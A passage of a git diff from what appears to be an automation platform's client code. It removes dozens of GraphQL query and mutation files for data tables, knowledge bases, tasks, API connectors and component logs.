+    apiConnectors: ['apiConnectors'] as const,
+};
+
+export const useGetApiConnectorsQuery = () =>
+    useQuery<ApiConnector[], Error>({
+        queryKey: ApiConnectorKeys.apiConnectors,
+        queryFn: () => new ApiConnectorApi().getApiConnectors(),
+    });
diff --git a/client/src/graphql/automation/configuration/disconnectConnection.graphql b/client/src/graphql/automation/configuration/disconnectConnection.graphql
deleted file mode 100644
index 1e5a4637f50..00000000000
--- a/client/src/graphql/automation/configuration/disconnectConnection.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation DisconnectConnection($connectionId: ID!) {
-    disconnectConnection(connectionId: $connectionId)
-}
diff --git a/client/src/graphql/automation/datatable/addDataTableColumn.graphql b/client/src/graphql/automation/datatable/addDataTableColumn.graphql
deleted file mode 100644
index 9a8b71cc3db..00000000000
--- a/client/src/graphql/automation/datatable/addDataTableColumn.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation addDataTableColumn($input: AddColumnInput!) {
-    addDataTableColumn(input: $input)
-}
diff --git a/client/src/graphql/automation/datatable/createDataTable.graphql b/client/src/graphql/automation/datatable/createDataTable.graphql
deleted file mode 100644
index 62892b3bd56..00000000000
--- a/client/src/graphql/automation/datatable/createDataTable.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation createDataTable($input: CreateDataTableInput!) {
-    createDataTable(input: $input)
-}
diff --git a/client/src/graphql/automation/datatable/dataTableRows.graphql b/client/src/graphql/automation/datatable/dataTableRows.graphql
deleted file mode 100644
index 74dfc90328b..00000000000
--- a/client/src/graphql/automation/datatable/dataTableRows.graphql
+++ /dev/null
@@ -1,6 +0,0 @@
-query dataTableRows($environmentId: ID!, $tableId: ID!) {
-    dataTableRows(environmentId: $environmentId, tableId: $tableId) {
-        id
-        values
-    }
-}
diff --git a/client/src/graphql/automation/datatable/dataTableRowsPage.graphql b/client/src/graphql/automation/datatable/dataTableRowsPage.graphql
deleted file mode 100644
index 7ac58b26b33..00000000000
--- a/client/src/graphql/automation/datatable/dataTableRowsPage.graphql
+++ /dev/null
@@ -1,10 +0,0 @@
-query dataTableRowsPage($environmentId: ID!, $tableId: ID!, $limit: Int, $offset: Int) {
-    dataTableRowsPage(environmentId: $environmentId, tableId: $tableId, limit: $limit, offset: $offset) {
-        items {
-            id
-            values
-        }
-        hasMore
-        nextOffset
-    }
-}
diff --git a/client/src/graphql/automation/datatable/dataTableTags.graphql b/client/src/graphql/automation/datatable/dataTableTags.graphql
deleted file mode 100644
index 4ca1dd0ee3a..00000000000
--- a/client/src/graphql/automation/datatable/dataTableTags.graphql
+++ /dev/null
@@ -1,6 +0,0 @@
-query dataTableTags {
-    dataTableTags {
-        id
-        name
-    }
-}
diff --git a/client/src/graphql/automation/datatable/dataTableTagsByTable.graphql b/client/src/graphql/automation/datatable/dataTableTagsByTable.graphql
deleted file mode 100644
index a5ed94a66ed..00000000000
--- a/client/src/graphql/automation/datatable/dataTableTagsByTable.graphql
+++ /dev/null
@@ -1,9 +0,0 @@
-query dataTableTagsByTable {
-    dataTableTagsByTable {
-        tableId
-        tags {
-            id
-            name
-        }
-    }
-}
diff --git a/client/src/graphql/automation/datatable/dataTables.graphql b/client/src/graphql/automation/datatable/dataTables.graphql
deleted file mode 100644
index 64d7b0b485d..00000000000
--- a/client/src/graphql/automation/datatable/dataTables.graphql
+++ /dev/null
@@ -1,12 +0,0 @@
-query dataTables($environmentId: ID!, $workspaceId: ID!) {
-    dataTables(environmentId: $environmentId, workspaceId: $workspaceId) {
-        id
-        baseName
-        lastModifiedDate
-        columns {
-            id
-            name
-            type
-        }
-    }
-}
diff --git a/client/src/graphql/automation/datatable/deleteDataTableRow.graphql b/client/src/graphql/automation/datatable/deleteDataTableRow.graphql
deleted file mode 100644
index 3b47dc83291..00000000000
--- a/client/src/graphql/automation/datatable/deleteDataTableRow.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation deleteDataTableRow($input: DeleteRowInput!) {
-    deleteDataTableRow(input: $input)
-}
diff --git a/client/src/graphql/automation/datatable/dropDataTable.graphql b/client/src/graphql/automation/datatable/dropDataTable.graphql
deleted file mode 100644
index 8af046d1f4e..00000000000
--- a/client/src/graphql/automation/datatable/dropDataTable.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation dropDataTable($input: RemoveTableInput!) {
-    dropDataTable(input: $input)
-}
diff --git a/client/src/graphql/automation/datatable/duplicateDataTable.graphql b/client/src/graphql/automation/datatable/duplicateDataTable.graphql
deleted file mode 100644
index 739e079f930..00000000000
--- a/client/src/graphql/automation/datatable/duplicateDataTable.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation duplicateDataTable($input: DuplicateDataTableInput!) {
-    duplicateDataTable(input: $input)
-}
diff --git a/client/src/graphql/automation/datatable/exportDataTableCsv.graphql b/client/src/graphql/automation/datatable/exportDataTableCsv.graphql
deleted file mode 100644
index 0b3ddd8eede..00000000000
--- a/client/src/graphql/automation/datatable/exportDataTableCsv.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-query exportDataTableCsv($environmentId: ID!, $tableId: ID!) {
-    exportDataTableCsv(environmentId: $environmentId, tableId: $tableId)
-}
diff --git a/client/src/graphql/automation/datatable/importDataTableCsv.graphql b/client/src/graphql/automation/datatable/importDataTableCsv.graphql
deleted file mode 100644
index 832e22e8f7d..00000000000
--- a/client/src/graphql/automation/datatable/importDataTableCsv.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation importDataTableCsv($input: ImportCsvInput!) {
-    importDataTableCsv(input: $input)
-}
diff --git a/client/src/graphql/automation/datatable/insertDataTableRow.graphql b/client/src/graphql/automation/datatable/insertDataTableRow.graphql
deleted file mode 100644
index 612354abd50..00000000000
--- a/client/src/graphql/automation/datatable/insertDataTableRow.graphql
+++ /dev/null
@@ -1,6 +0,0 @@
-mutation insertDataTableRow($input: InsertRowInput!) {
-    insertDataTableRow(input: $input) {
-        id
-        values
-    }
-}
diff --git a/client/src/graphql/automation/datatable/removeDataTableColumn.graphql b/client/src/graphql/automation/datatable/removeDataTableColumn.graphql
deleted file mode 100644
index cb428a15f1c..00000000000
--- a/client/src/graphql/automation/datatable/removeDataTableColumn.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation removeDataTableColumn($input: RemoveColumnInput!) {
-    removeDataTableColumn(input: $input)
-}
diff --git a/client/src/graphql/automation/datatable/renameDataTable.graphql b/client/src/graphql/automation/datatable/renameDataTable.graphql
deleted file mode 100644
index 6caae7e91db..00000000000
--- a/client/src/graphql/automation/datatable/renameDataTable.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation renameDataTable($input: RenameDataTableInput!) {
-    renameDataTable(input: $input)
-}
diff --git a/client/src/graphql/automation/datatable/renameDataTableColumn.graphql b/client/src/graphql/automation/datatable/renameDataTableColumn.graphql
deleted file mode 100644
index bc5df6d8bf8..00000000000
--- a/client/src/graphql/automation/datatable/renameDataTableColumn.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation renameDataTableColumn($input: RenameColumnInput!) {
-    renameDataTableColumn(input: $input)
-}
diff --git a/client/src/graphql/automation/datatable/updateDataTableRow.graphql b/client/src/graphql/automation/datatable/updateDataTableRow.graphql
deleted file mode 100644
index 3e7738eb662..00000000000
--- a/client/src/graphql/automation/datatable/updateDataTableRow.graphql
+++ /dev/null
@@ -1,6 +0,0 @@
-mutation updateDataTableRow($input: UpdateRowInput!) {
-    updateDataTableRow(input: $input) {
-        id
-        values
-    }
-}
diff --git a/client/src/graphql/automation/datatable/updateDataTableTags.graphql b/client/src/graphql/automation/datatable/updateDataTableTags.graphql
deleted file mode 100644
index 366457f10a6..00000000000
--- a/client/src/graphql/automation/datatable/updateDataTableTags.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation updateDataTableTags($input: UpdateDataTableTagsInput!) {
-    updateDataTableTags(input: $input)
-}
diff --git a/client/src/graphql/automation/knowledge-base/createKnowledgeBase.graphql b/client/src/graphql/automation/knowledge-base/createKnowledgeBase.graphql
deleted file mode 100644
index cd2abade7f8..00000000000
--- a/client/src/graphql/automation/knowledge-base/createKnowledgeBase.graphql
+++ /dev/null
@@ -1,6 +0,0 @@
-mutation createKnowledgeBase($knowledgeBase: KnowledgeBaseInput!, $workspaceId: ID!) {
-    createKnowledgeBase(knowledgeBase: $knowledgeBase, workspaceId: $workspaceId) {
-        id
-        name
-    }
-}
diff --git a/client/src/graphql/automation/knowledge-base/deleteKnowledgeBase.graphql b/client/src/graphql/automation/knowledge-base/deleteKnowledgeBase.graphql
deleted file mode 100644
index 04a0e055756..00000000000
--- a/client/src/graphql/automation/knowledge-base/deleteKnowledgeBase.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation deleteKnowledgeBase($id: ID!) {
-    deleteKnowledgeBase(id: $id)
-}
diff --git a/client/src/graphql/automation/knowledge-base/deleteKnowledgeBaseDocument.graphql b/client/src/graphql/automation/knowledge-base/deleteKnowledgeBaseDocument.graphql
deleted file mode 100644
index 210a8801a1b..00000000000
--- a/client/src/graphql/automation/knowledge-base/deleteKnowledgeBaseDocument.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation deleteKnowledgeBaseDocument($id: ID!) {
-    deleteKnowledgeBaseDocument(id: $id)
-}
diff --git a/client/src/graphql/automation/knowledge-base/deleteKnowledgeBaseDocumentChunk.graphql b/client/src/graphql/automation/knowledge-base/deleteKnowledgeBaseDocumentChunk.graphql
deleted file mode 100644
index b6e46710d3a..00000000000
--- a/client/src/graphql/automation/knowledge-base/deleteKnowledgeBaseDocumentChunk.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation deleteKnowledgeBaseDocumentChunk($id: ID!) {
-    deleteKnowledgeBaseDocumentChunk(id: $id)
-}
diff --git a/client/src/graphql/automation/knowledge-base/knowledgeBase.graphql b/client/src/graphql/automation/knowledge-base/knowledgeBase.graphql
deleted file mode 100644
index 377502fc704..00000000000
--- a/client/src/graphql/automation/knowledge-base/knowledgeBase.graphql
+++ /dev/null
@@ -1,34 +0,0 @@
-query knowledgeBase($id: ID!) {
-    knowledgeBase(id: $id) {
-        id
-        name
-        description
-        maxChunkSize
-        minChunkSizeChars
-        overlap
-        documents {
-            id
-            name
-            document {
-                name
-                extension
-                mimeType
-                url
-            }
-            status
-            tags {
-                id
-                name
-            }
-            createdDate
-            chunks {
-                id
-                knowledgeBaseDocumentId
-                content
-                metadata
-            }
-        }
-        createdDate
-        lastModifiedDate
-    }
-}
diff --git a/client/src/graphql/automation/knowledge-base/knowledgeBaseDocumentStatus.graphql b/client/src/graphql/automation/knowledge-base/knowledgeBaseDocumentStatus.graphql
deleted file mode 100644
index ec455008047..00000000000
--- a/client/src/graphql/automation/knowledge-base/knowledgeBaseDocumentStatus.graphql
+++ /dev/null
@@ -1,8 +0,0 @@
-query knowledgeBaseDocumentStatus($id: ID!) {
-    knowledgeBaseDocumentStatus(id: $id) {
-        documentId
-        status
-        timestamp
-        message
-    }
-}
diff --git a/client/src/graphql/automation/knowledge-base/knowledgeBaseDocumentTags.graphql b/client/src/graphql/automation/knowledge-base/knowledgeBaseDocumentTags.graphql
deleted file mode 100644
index f180c3daae9..00000000000
--- a/client/src/graphql/automation/knowledge-base/knowledgeBaseDocumentTags.graphql
+++ /dev/null
@@ -1,6 +0,0 @@
-query knowledgeBaseDocumentTags {
-    knowledgeBaseDocumentTags {
-        id
-        name
-    }
-}
diff --git a/client/src/graphql/automation/knowledge-base/knowledgeBaseDocumentTagsByDocument.graphql b/client/src/graphql/automation/knowledge-base/knowledgeBaseDocumentTagsByDocument.graphql
deleted file mode 100644
index ab5981db583..00000000000
--- a/client/src/graphql/automation/knowledge-base/knowledgeBaseDocumentTagsByDocument.graphql
+++ /dev/null
@@ -1,9 +0,0 @@
-query knowledgeBaseDocumentTagsByDocument {
-    knowledgeBaseDocumentTagsByDocument {
-        knowledgeBaseDocumentId
-        tags {
-            id
-            name
-        }
-    }
-}
diff --git a/client/src/graphql/automation/knowledge-base/knowledgeBaseTags.graphql b/client/src/graphql/automation/knowledge-base/knowledgeBaseTags.graphql
deleted file mode 100644
index 7b4e1a97be1..00000000000
--- a/client/src/graphql/automation/knowledge-base/knowledgeBaseTags.graphql
+++ /dev/null
@@ -1,6 +0,0 @@
-query knowledgeBaseTags {
-    knowledgeBaseTags {
-        id
-        name
-    }
-}
diff --git a/client/src/graphql/automation/knowledge-base/knowledgeBaseTagsByKnowledgeBase.graphql b/client/src/graphql/automation/knowledge-base/knowledgeBaseTagsByKnowledgeBase.graphql
deleted file mode 100644
index 8271005d7a8..00000000000
--- a/client/src/graphql/automation/knowledge-base/knowledgeBaseTagsByKnowledgeBase.graphql
+++ /dev/null
@@ -1,9 +0,0 @@
-query knowledgeBaseTagsByKnowledgeBase {
-    knowledgeBaseTagsByKnowledgeBase {
-        knowledgeBaseId
-        tags {
-            id
-            name
-        }
-    }
-}
diff --git a/client/src/graphql/automation/knowledge-base/knowledgeBases.graphql b/client/src/graphql/automation/knowledge-base/knowledgeBases.graphql
deleted file mode 100644
index 0456fbe28dd..00000000000
--- a/client/src/graphql/automation/knowledge-base/knowledgeBases.graphql
+++ /dev/null
@@ -1,12 +0,0 @@
-query knowledgeBases($workspaceId: ID!) {
-    knowledgeBases(workspaceId: $workspaceId) {
-        id
-        name
-        description
-        maxChunkSize
-        minChunkSizeChars
-        overlap
-        createdDate
-        lastModifiedDate
-    }
-}
diff --git a/client/src/graphql/automation/knowledge-base/searchKnowledgeBase.graphql b/client/src/graphql/automation/knowledge-base/searchKnowledgeBase.graphql
deleted file mode 100644
index 1b0476c6918..00000000000
--- a/client/src/graphql/automation/knowledge-base/searchKnowledgeBase.graphql
+++ /dev/null
@@ -1,9 +0,0 @@
-query searchKnowledgeBase($id: ID!, $query: String!, $metadataFilters: String) {
-    searchKnowledgeBase(id: $id, query: $query, metadataFilters: $metadataFilters) {
-        id
-        knowledgeBaseDocumentId
-        content
-        metadata
-        score
-    }
-}
diff --git a/client/src/graphql/automation/knowledge-base/updateKnowledgeBase.graphql b/client/src/graphql/automation/knowledge-base/updateKnowledgeBase.graphql
deleted file mode 100644
index af1fdc4a86a..00000000000
--- a/client/src/graphql/automation/knowledge-base/updateKnowledgeBase.graphql
+++ /dev/null
@@ -1,10 +0,0 @@
-mutation updateKnowledgeBase($id: ID!, $knowledgeBase: KnowledgeBaseInput!) {
-    updateKnowledgeBase(id: $id, knowledgeBase: $knowledgeBase) {
-        id
-        name
-        description
-        maxChunkSize
-        minChunkSizeChars
-        overlap
-    }
-}
diff --git a/client/src/graphql/automation/knowledge-base/updateKnowledgeBaseDocumentChunk.graphql b/client/src/graphql/automation/knowledge-base/updateKnowledgeBaseDocumentChunk.graphql
deleted file mode 100644
index 062bb7d4940..00000000000
--- a/client/src/graphql/automation/knowledge-base/updateKnowledgeBaseDocumentChunk.graphql
+++ /dev/null
@@ -1,8 +0,0 @@
-mutation updateKnowledgeBaseDocumentChunk($id: ID!, $knowledgeBaseDocumentChunk: KnowledgeBaseDocumentChunkInput!) {
-    updateKnowledgeBaseDocumentChunk(id: $id, knowledgeBaseDocumentChunk: $knowledgeBaseDocumentChunk) {
-        id
-        knowledgeBaseDocumentId
-        content
-        metadata
-    }
-}
diff --git a/client/src/graphql/automation/knowledge-base/updateKnowledgeBaseDocumentTags.graphql b/client/src/graphql/automation/knowledge-base/updateKnowledgeBaseDocumentTags.graphql
deleted file mode 100644
index 466343b2438..00000000000
--- a/client/src/graphql/automation/knowledge-base/updateKnowledgeBaseDocumentTags.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation updateKnowledgeBaseDocumentTags($input: UpdateKnowledgeBaseDocumentTagsInput!) {
-    updateKnowledgeBaseDocumentTags(input: $input)
-}
diff --git a/client/src/graphql/automation/knowledge-base/updateKnowledgeBaseTags.graphql b/client/src/graphql/automation/knowledge-base/updateKnowledgeBaseTags.graphql
deleted file mode 100644
index 06a0398d55e..00000000000
--- a/client/src/graphql/automation/knowledge-base/updateKnowledgeBaseTags.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation updateKnowledgeBaseTags($input: UpdateKnowledgeBaseTagsInput!) {
-    updateKnowledgeBaseTags(input: $input)
-}
diff --git a/client/src/graphql/automation/search/automationSearch.graphql b/client/src/graphql/automation/search/automationSearch.graphql
deleted file mode 100644
index d55c40e85fc..00000000000
--- a/client/src/graphql/automation/search/automationSearch.graphql
+++ /dev/null
@@ -1,22 +0,0 @@
-query automationSearch($query: String!, $limit: Int) {
-    automationSearch(query: $query, limit: $limit) {
-        id
-        name
-        description
-        type
-        ... on WorkflowSearchResult {
-            projectId
-            label
-        }
-        ... on ProjectDeploymentSearchResult {
-            projectName
-        }
-        ... on ApiEndpointSearchResult {
-            collectionId
-            path
-        }
-        ... on KnowledgeBaseDocumentSearchResult {
-            knowledgeBaseId
-        }
-    }
-}
diff --git a/client/src/graphql/automation/task/createTask.graphql b/client/src/graphql/automation/task/createTask.graphql
deleted file mode 100644
index 5dd51407194..00000000000
--- a/client/src/graphql/automation/task/createTask.graphql
+++ /dev/null
@@ -1,7 +0,0 @@
-mutation createTask($task: TaskInput!) {
-    createTask(task: $task) {
-        description
-        id
-        name
-    }
-}
diff --git a/client/src/graphql/automation/task/deleteTask.graphql b/client/src/graphql/automation/task/deleteTask.graphql
deleted file mode 100644
index fe631f04bb2..00000000000
--- a/client/src/graphql/automation/task/deleteTask.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation deleteTask($id: ID!) {
-    deleteTask(id: $id)
-}
diff --git a/client/src/graphql/automation/task/task.graphql b/client/src/graphql/automation/task/task.graphql
deleted file mode 100644
index 092a94c67c6..00000000000
--- a/client/src/graphql/automation/task/task.graphql
+++ /dev/null
@@ -1,12 +0,0 @@
-query task($id: ID!) {
-    task(id: $id) {
-        createdBy
-        createdDate
-        description
-        id
-        lastModifiedBy
-        lastModifiedDate
-        name
-        version
-    }
-}
diff --git a/client/src/graphql/automation/task/tasks.graphql b/client/src/graphql/automation/task/tasks.graphql
deleted file mode 100644
index a6731aed56e..00000000000
--- a/client/src/graphql/automation/task/tasks.graphql
+++ /dev/null
@@ -1,12 +0,0 @@
-query tasks {
-    tasks {
-        createdBy
-        createdDate
-        description
-        id
-        lastModifiedBy
-        lastModifiedDate
-        name
-        version
-    }
-}
diff --git a/client/src/graphql/automation/task/updateTask.graphql b/client/src/graphql/automation/task/updateTask.graphql
deleted file mode 100644
index 62fe1bed775..00000000000
--- a/client/src/graphql/automation/task/updateTask.graphql
+++ /dev/null
@@ -1,8 +0,0 @@
-mutation updateTask($task: TaskInput!) {
-    updateTask(task: $task) {
-        description
-        id
-        name
-        version
-    }
-}
diff --git a/client/src/graphql/platform/api-connector/apiConnector.graphql b/client/src/graphql/platform/api-connector/apiConnector.graphql
deleted file mode 100644
index a3774d084f1..00000000000
--- a/client/src/graphql/platform/api-connector/apiConnector.graphql
+++ /dev/null
@@ -1,25 +0,0 @@
-query apiConnector($id: ID!) {
-    apiConnector(id: $id) {
-        id
-        name
-        title
-        description
-        icon
-        connectorVersion
-        enabled
-        specification
-        definition
-        endpoints {
-            id
-            name
-            description
-            path
-            httpMethod
-        }
-        createdBy
-        createdDate
-        lastModifiedBy
-        lastModifiedDate
-        version
-    }
-}
diff --git a/client/src/graphql/platform/api-connector/apiConnectors.graphql b/client/src/graphql/platform/api-connector/apiConnectors.graphql
deleted file mode 100644
index cb8600cd06c..00000000000
--- a/client/src/graphql/platform/api-connector/apiConnectors.graphql
+++ /dev/null
@@ -1,25 +0,0 @@
-query apiConnectors {
-    apiConnectors {
-        id
-        name
-        title
-        description
-        icon
-        connectorVersion
-        enabled
-        specification
-        definition
-        endpoints {
-            id
-            name
-            description
-            path
-            httpMethod
-        }
-        createdBy
-        createdDate
-        lastModifiedBy
-        lastModifiedDate
-        version
-    }
-}
diff --git a/client/src/graphql/platform/api-connector/cancelGenerationJob.graphql b/client/src/graphql/platform/api-connector/cancelGenerationJob.graphql
deleted file mode 100644
index 68021892e20..00000000000
--- a/client/src/graphql/platform/api-connector/cancelGenerationJob.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation cancelGenerationJob($jobId: String!) {
-    cancelGenerationJob(jobId: $jobId)
-}
diff --git a/client/src/graphql/platform/api-connector/createApiConnector.graphql b/client/src/graphql/platform/api-connector/createApiConnector.graphql
deleted file mode 100644
index 12b3623b9b4..00000000000
--- a/client/src/graphql/platform/api-connector/createApiConnector.graphql
+++ /dev/null
@@ -1,25 +0,0 @@
-mutation createApiConnector($input: CreateApiConnectorInput!) {
-    createApiConnector(input: $input) {
-        id
-        name
-        title
-        description
-        icon
-        connectorVersion
-        enabled
-        specification
-        definition
-        endpoints {
-            id
-            name
-            description
-            path
-            httpMethod
-        }
-        createdBy
-        createdDate
-        lastModifiedBy
-        lastModifiedDate
-        version
-    }
-}
diff --git a/client/src/graphql/platform/api-connector/deleteApiConnector.graphql b/client/src/graphql/platform/api-connector/deleteApiConnector.graphql
deleted file mode 100644
index 083e747324e..00000000000
--- a/client/src/graphql/platform/api-connector/deleteApiConnector.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation deleteApiConnector($id: ID!) {
-    deleteApiConnector(id: $id)
-}
diff --git a/client/src/graphql/platform/api-connector/enableApiConnector.graphql b/client/src/graphql/platform/api-connector/enableApiConnector.graphql
deleted file mode 100644
index ca77ebefb6d..00000000000
--- a/client/src/graphql/platform/api-connector/enableApiConnector.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation enableApiConnector($id: ID!, $enable: Boolean!) {
-    enableApiConnector(id: $id, enable: $enable)
-}
diff --git a/client/src/graphql/platform/api-connector/generateSpecification.graphql b/client/src/graphql/platform/api-connector/generateSpecification.graphql
deleted file mode 100644
index f346ea12ae1..00000000000
--- a/client/src/graphql/platform/api-connector/generateSpecification.graphql
+++ /dev/null
@@ -1,5 +0,0 @@
-mutation generateSpecification($input: GenerateSpecificationInput!) {
-    generateSpecification(input: $input) {
-        specification
-    }
-}
diff --git a/client/src/graphql/platform/api-connector/generationJobStatus.graphql b/client/src/graphql/platform/api-connector/generationJobStatus.graphql
deleted file mode 100644
index 1c2bb23a894..00000000000
--- a/client/src/graphql/platform/api-connector/generationJobStatus.graphql
+++ /dev/null
@@ -1,8 +0,0 @@
-query generationJobStatus($jobId: String!) {
-    generationJobStatus(jobId: $jobId) {
-        jobId
-        status
-        specification
-        errorMessage
-    }
-}
diff --git a/client/src/graphql/platform/api-connector/importOpenApiSpecification.graphql b/client/src/graphql/platform/api-connector/importOpenApiSpecification.graphql
deleted file mode 100644
index 2efa84399eb..00000000000
--- a/client/src/graphql/platform/api-connector/importOpenApiSpecification.graphql
+++ /dev/null
@@ -1,25 +0,0 @@
-mutation importOpenApiSpecification($input: ImportOpenApiSpecificationInput!) {
-    importOpenApiSpecification(input: $input) {
-        id
-        name
-        title
-        description
-        icon
-        connectorVersion
-        enabled
-        specification
-        definition
-        endpoints {
-            id
-            name
-            description
-            path
-            httpMethod
-        }
-        createdBy
-        createdDate
-        lastModifiedBy
-        lastModifiedDate
-        version
-    }
-}
diff --git a/client/src/graphql/platform/api-connector/startGenerateFromDocumentationPreview.graphql b/client/src/graphql/platform/api-connector/startGenerateFromDocumentationPreview.graphql
deleted file mode 100644
index fd0c86b102f..00000000000
--- a/client/src/graphql/platform/api-connector/startGenerateFromDocumentationPreview.graphql
+++ /dev/null
@@ -1,8 +0,0 @@
-mutation startGenerateFromDocumentationPreview($input: GenerateFromDocumentationInput!) {
-    startGenerateFromDocumentationPreview(input: $input) {
-        jobId
-        status
-        specification
-        errorMessage
-    }
-}
diff --git a/client/src/graphql/platform/api-connector/updateApiConnector.graphql b/client/src/graphql/platform/api-connector/updateApiConnector.graphql
deleted file mode 100644
index 0833dd5858d..00000000000
--- a/client/src/graphql/platform/api-connector/updateApiConnector.graphql
+++ /dev/null
@@ -1,25 +0,0 @@
-mutation updateApiConnector($id: ID!, $input: UpdateApiConnectorInput!) {
-    updateApiConnector(id: $id, input: $input) {
-        id
-        name
-        title
-        description
-        icon
-        connectorVersion
-        enabled
-        specification
-        definition
-        endpoints {
-            id
-            name
-            description
-            path
-            httpMethod
-        }
-        createdBy
-        createdDate
-        lastModifiedBy
-        lastModifiedDate
-        version
-    }
-}
diff --git a/client/src/graphql/platform/component-log/editorJobFileLogs.graphql b/client/src/graphql/platform/component-log/editorJobFileLogs.graphql
deleted file mode 100644
index 4daa15ecc94..00000000000
--- a/client/src/graphql/platform/component-log/editorJobFileLogs.graphql
+++ /dev/null
@@ -1,21 +0,0 @@
-query editorJobFileLogs($jobId: ID!, $filter: LogFilterInput, $page: Int, $size: Int) {
-    editorJobFileLogs(jobId: $jobId, filter: $filter, page: $page, size: $size) {
-        content {
-            timestamp
-            level
-            componentName
-            componentOperationName
-            taskExecutionId
-            message
-            exceptionType
-            exceptionMessage
-            stackTrace
-        }
-        totalElements
-        totalPages
-        pageNumber
-        pageSize
-        hasNext
-        hasPrevious
-    }
-}
diff --git a/client/src/graphql/platform/component-log/editorJobFileLogsExist.graphql b/client/src/graphql/platform/component-log/editorJobFileLogsExist.graphql
deleted file mode 100644
index 762561cbc8c..00000000000
--- a/client/src/graphql/platform/component-log/editorJobFileLogsExist.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-query editorJobFileLogsExist($jobId: ID!) {
-    editorJobFileLogsExist(jobId: $jobId)
-}
diff --git a/client/src/graphql/platform/component-log/editorTaskExecutionFileLogs.graphql b/client/src/graphql/platform/component-log/editorTaskExecutionFileLogs.graphql
deleted file mode 100644
index 6a4827b0d7f..00000000000
--- a/client/src/graphql/platform/component-log/editorTaskExecutionFileLogs.graphql
+++ /dev/null
@@ -1,13 +0,0 @@
-query editorTaskExecutionFileLogs($jobId: ID!, $taskExecutionId: ID!) {
-    editorTaskExecutionFileLogs(jobId: $jobId, taskExecutionId: $taskExecutionId) {
-        timestamp
-        level
-        componentName
-        componentOperationName
-        taskExecutionId
-        message
-        exceptionType
-        exceptionMessage
-        stackTrace
-    }
-}
diff --git a/client/src/graphql/platform/component-log/jobFileLogs.graphql b/client/src/graphql/platform/component-log/jobFileLogs.graphql
deleted file mode 100644
index 81b2ede6e5d..00000000000
--- a/client/src/graphql/platform/component-log/jobFileLogs.graphql
+++ /dev/null
@@ -1,21 +0,0 @@
-query jobFileLogs($jobId: ID!, $filter: LogFilterInput, $page: Int, $size: Int) {
-    jobFileLogs(jobId: $jobId, filter: $filter, page: $page, size: $size) {
-        content {
-            timestamp
-            level
-            componentName
-            componentOperationName
-            taskExecutionId
-            message
-            exceptionType
-            exceptionMessage
-            stackTrace
-        }
-        totalElements
-        totalPages
-        pageNumber
-        pageSize
-        hasNext
-        hasPrevious
-    }
-}
diff --git a/client/src/graphql/platform/component-log/jobFileLogsExist.graphql b/client/src/graphql/platform/component-log/jobFileLogsExist.graphql
deleted file mode 100644
index 5bbe899aaa2..00000000000
--- a/client/src/graphql/platform/component-log/jobFileLogsExist.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-query jobFileLogsExist($jobId: ID!) {
-    jobFileLogsExist(jobId: $jobId)
-}
diff --git a/client/src/graphql/platform/component-log/taskExecutionFileLogs.graphql b/client/src/graphql/platform/component-log/taskExecutionFileLogs.graphql
deleted file mode 100644
index 8362a6875ba..00000000000
--- a/client/src/graphql/platform/component-log/taskExecutionFileLogs.graphql
+++ /dev/null
@@ -1,13 +0,0 @@
-query taskExecutionFileLogs($jobId: ID!, $taskExecutionId: ID!) {
-    taskExecutionFileLogs(jobId: $jobId, taskExecutionId: $taskExecutionId) {
-        timestamp
-        level
-        componentName
-        componentOperationName
-        taskExecutionId
-        message
-        exceptionType
-        exceptionMessage
-        stackTrace
-    }
-}
diff --git a/client/src/graphql/platform/configuration/clusterElementComponentConnections.graphql b/client/src/graphql/platform/configuration/clusterElementComponentConnections.graphql
deleted file mode 100644
index 98e93355aab..00000000000
--- a/client/src/graphql/platform/configuration/clusterElementComponentConnections.graphql
+++ /dev/null
@@ -1,19 +0,0 @@
-query clusterElementComponentConnections(
-    $workflowId: String!
-    $workflowNodeName: String!
-    $clusterElementType: String!
-    $clusterElementWorkflowNodeName: String!
-) {
-    clusterElementComponentConnections(
-        workflowId: $workflowId
-        workflowNodeName: $workflowNodeName
-        clusterElementType: $clusterElementType
-        clusterElementWorkflowNodeName: $clusterElementWorkflowNodeName
-    ) {
-        componentName
-        componentVersion
-        key
-        required
-        workflowNodeName
-    }
-}
diff --git a/client/src/graphql/platform/configuration/clusterElementScriptInput.graphql b/client/src/graphql/platform/configuration/clusterElementScriptInput.graphql
deleted file mode 100644
index 4b41e722d01..00000000000
--- a/client/src/graphql/platform/configuration/clusterElementScriptInput.graphql
+++ /dev/null
@@ -1,15 +0,0 @@
-query clusterElementScriptInput(
-    $workflowId: String!
-    $workflowNodeName: String!
-    $clusterElementType: String!
-    $clusterElementWorkflowNodeName: String!
-    $environmentId: Long!
-) {
-    clusterElementScriptInput(
-        workflowId: $workflowId
-        workflowNodeName: $workflowNodeName
-        clusterElementType: $clusterElementType
-        clusterElementWorkflowNodeName: $clusterElementWorkflowNodeName
-        environmentId: $environmentId
-    )
-}
diff --git a/client/src/graphql/platform/configuration/componentDefinitionSearch.graphql b/client/src/graphql/platform/configuration/componentDefinitionSearch.graphql
deleted file mode 100644
index 53b7af51b58..00000000000
--- a/client/src/graphql/platform/configuration/componentDefinitionSearch.graphql
+++ /dev/null
@@ -1,32 +0,0 @@
-query ComponentDefinitionSearch($query: String!) {
-    componentDefinitionSearch(query: $query) {
-        name
-        title
-        icon
-        description
-        version
-        actionsCount
